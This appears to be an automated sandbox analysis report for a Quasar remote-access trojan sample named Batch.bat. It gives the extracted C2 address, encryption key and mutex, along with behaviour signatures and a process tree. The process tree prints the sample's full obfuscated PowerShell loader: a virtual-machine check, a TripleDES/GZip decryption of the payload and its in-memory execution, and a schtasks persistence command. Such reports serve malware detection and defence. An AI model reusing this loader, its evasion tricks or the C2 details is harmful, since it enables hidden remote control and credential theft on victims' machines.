Resubmissions

20/09/2026, 22:17

260920-17ppcatwfx10

10/08/2026, 21:05

260810-zxal1attby8

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/09/2026, 22:17

General

  • Target
    Batch.bat
  • Size 894KB
  • Sample260920-17ppcatwfx
  • SHA256 d817ea0af77c55d11377114d7b69cfb0037302c2a06fd89c46aa79e34f1e28cc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.7.1

Botnet
  • shix

C2
  • 193.161.193.99:43963

Mutex
  • 1a520c91-1f29-47c2-849c-ef2401e27df8

Attributes
  • encryption_key

    EC1C0E7F70CE8F084C53C6DAE1B656E63DF4314C

  • install_name

    .exe

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • log_directory

    key

  • reconnect_delay

    2967

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • PulsaRAT library module 1 IoCs

    Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.

  • Quasar payload 1 IoCs
  • Badlisted process makes network request 24 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Batch.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4672
    • C:\Windows\system32\conhost.exe
      conhost.exe --headless powershell.exe -ep bypass -window hidden -command $yapgmYZacXbm=(Get-Disk).FriendlyName;if ($yapgmYZacXbm -like '*DA'+'DY HA'+'RDD'+'ISK*' -or $yapgmYZacXbm -like '*QEM'+'U HAR'+'DDIS'+'K*') {taskkill /f /im cmd.exe}
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ep bypass -window hidden -command $yapgmYZacXbm=(Get-Disk).FriendlyName;if ($yapgmYZacXbm -like '*DA'+'DY HA'+'RDD'+'ISK*' -or $yapgmYZacXbm -like '*QEM'+'U HAR'+'DDIS'+'K*') {taskkill /f /im cmd.exe}
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5924
    • C:\Windows\system32\conhost.exe
      conhost.exe --headless powershell.exe -ep bypass -window hidden -command $rduurn = [System.Convert]::FromBase64String(($env:dQLt0J.Split(',')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$MkeknVK4 = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$MkeknVK4.Key = @(66,6,156,223,192,216,31,252,235,3,112,41,100,169,8,122);$MkeknVK4.Mode = 'ECB';$MkeknVK4.Padding = 'PKCS'+'7';$CgU3 = $MkeknVK4.CreateDecryptor().TransformFinalBlock($rduurn,0,$rduurn.Length);$NHzNgk9 = New-Object('Syste'+'m.IO.M'+'emo'+'rySt'+'ream') -ArgumentList (,$CgU3);$e3azz2c = New-Object('Syst'+'em.'+'IO.'+'Memory'+'Strea'+'m');$P2ZsV15 = New-Object('System'+'.IO'+'.Compr'+'essio'+'n.GZi'+'pStre'+'am') -ArgumentList ($NHzNgk9,[IO.Compression.CompressionMode]('Decompress'));$P2ZsV15.CopyTo($e3azz2c);$ttF2 = $e3azz2c.ToArray();$nAya0xh = [Type]::GetType('Syste'+'m.Secu'+'rity.C'+'rypto'+'gra'+'phy.S'+'HA256');$FVB0O = $nAya0xh::Create().ComputeHash($ttF2);$OH8QAK = @(59,188,176,215,230,14,36,230,145,29,223,89,125,70,202,129,245,15,42,26,26,240,88,73,38,60,250,226,192,231,154,35);if (-Not (Compare-Object [byte[]]$FVB0O [byte[]]$OH8QAK)) {$fdf2pJ = (Get-CimInstance ('Win3'+'2_P'+'roces'+'s') -Filter ProcessId=$pid).CommandLine;foreach ($A40wi in [AppDomain]::CurrentDomain.GetAssemblies()){if ($A40wi.GlobalAssemblyCache -And $A40wi.Location.Contains('mscorl'+'ib.'+'dll')){foreach ($trJP in $A40wi.GetType('Syste'+'m.Refl'+'ectio'+'n.Asse'+'mbly').GetMethods('Publi'+'c,St'+'atic')){if ($trJP.ToString().Length -eq 39) {$trJP.Invoke($null, (,$ttF2)).EntryPoint.Invoke($null, (,[string[]](,$fdf2pJ)))}}}}}
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ep bypass -window hidden -command $rduurn = [System.Convert]::FromBase64String(($env:dQLt0J.Split(',')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$MkeknVK4 = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$MkeknVK4.Key = @(66,6,156,223,192,216,31,252,235,3,112,41,100,169,8,122);$MkeknVK4.Mode = 'ECB';$MkeknVK4.Padding = 'PKCS'+'7';$CgU3 = $MkeknVK4.CreateDecryptor().TransformFinalBlock($rduurn,0,$rduurn.Length);$NHzNgk9 = New-Object('Syste'+'m.IO.M'+'emo'+'rySt'+'ream') -ArgumentList (,$CgU3);$e3azz2c = New-Object('Syst'+'em.'+'IO.'+'Memory'+'Strea'+'m');$P2ZsV15 = New-Object('System'+'.IO'+'.Compr'+'essio'+'n.GZi'+'pStre'+'am') -ArgumentList ($NHzNgk9,[IO.Compression.CompressionMode]('Decompress'));$P2ZsV15.CopyTo($e3azz2c);$ttF2 = $e3azz2c.ToArray();$nAya0xh = [Type]::GetType('Syste'+'m.Secu'+'rity.C'+'rypto'+'gra'+'phy.S'+'HA256');$FVB0O = $nAya0xh::Create().ComputeHash($ttF2);$OH8QAK = @(59,188,176,215,230,14,36,230,145,29,223,89,125,70,202,129,245,15,42,26,26,240,88,73,38,60,250,226,192,231,154,35);if (-Not (Compare-Object [byte[]]$FVB0O [byte[]]$OH8QAK)) {$fdf2pJ = (Get-CimInstance ('Win3'+'2_P'+'roces'+'s') -Filter ProcessId=$pid).CommandLine;foreach ($A40wi in [AppDomain]::CurrentDomain.GetAssemblies()){if ($A40wi.GlobalAssemblyCache -And $A40wi.Location.Contains('mscorl'+'ib.'+'dll')){foreach ($trJP in $A40wi.GetType('Syste'+'m.Refl'+'ectio'+'n.Asse'+'mbly').GetMethods('Publi'+'c,St'+'atic')){if ($trJP.ToString().Length -eq 39) {$trJP.Invoke($null, (,$ttF2)).EntryPoint.Invoke($null, (,[string[]](,$fdf2pJ)))}}}}}
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5216
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c schtasks /create /xml CXpRb2xL.xml /tn f66c6eb2-e472-4cc0-9a6f-2e3e00e1b6da
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\system32\schtasks.exe
            schtasks /create /xml CXpRb2xL.xml /tn f66c6eb2-e472-4cc0-9a6f-2e3e00e1b6da
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3404

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 046eede157e62c8a2525886c369503ead5fd8ae6dc2d8a4eb868e13dfa83ce76
        • MD5 SHA1 SHA512 TLSH

        CXpRb2xL.xml

        • Path C:\Users\Admin\AppData\Local\Temp\CXpRb2xL.xml
        • Size 1KB
        • SHA256 bd854e3c9bfb2c7f42c53a4b1167d6baf325a7ce48797f6c3d9c5678f5189f1a
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_jfmjfflp.0uw.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfmjfflp.0uw.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/5216-53-0x000002A96FD00000-0x000002A96FD2A000-memory.dmp

        memory/5216-52-0x000002A971110000-0x000002A97115A000-memory.dmp

        memory/5216-51-0x000002A9710C0000-0x000002A97110C000-memory.dmp

        memory/5216-50-0x000002A96FE00000-0x000002A96FE3A000-memory.dmp

        memory/5216-49-0x000002A96FC90000-0x000002A96FCBC000-memory.dmp

        memory/5216-48-0x000002A9711B0000-0x000002A97137E000-memory.dmp

        memory/5216-37-0x000002A9705A0000-0x000002A9707BC000-memory.dmp

        memory/5216-36-0x000002A96FC90000-0x000002A96FCB4000-memory.dmp

        memory/5216-35-0x000002A96FC90000-0x000002A96FCBA000-memory.dmp

        memory/5924-13-0x0000022BFDB80000-0x0000022BFDC32000-memory.dmp

        memory/5924-16-0x0000022BFDDA0000-0x0000022BFDDAA000-memory.dmp

        memory/5924-18-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-19-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-20-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-21-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-22-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-23-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-24-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-25-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-26-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-28-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-29-0x0000022BFD179000-0x0000022BFD17F000-memory.dmp

        memory/5924-17-0x0000022BFDDB0000-0x0000022BFDDBA000-memory.dmp

        memory/5924-15-0x0000022BFDDC0000-0x0000022BFDDDE000-memory.dmp

        memory/5924-14-0x0000022BFDC40000-0x0000022BFDC4A000-memory.dmp

        memory/5924-0-0x00007FFED58CF000-0x00007FFED58D0000-memory.dmp

        memory/5924-12-0x0000022BFD950000-0x0000022BFD96E000-memory.dmp

        memory/5924-9-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-46-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-8-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-7-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-6-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-5-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

        memory/5924-4-0x0000022BFD8B0000-0x0000022BFD8D2000-memory.dmp

        memory/5924-1-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp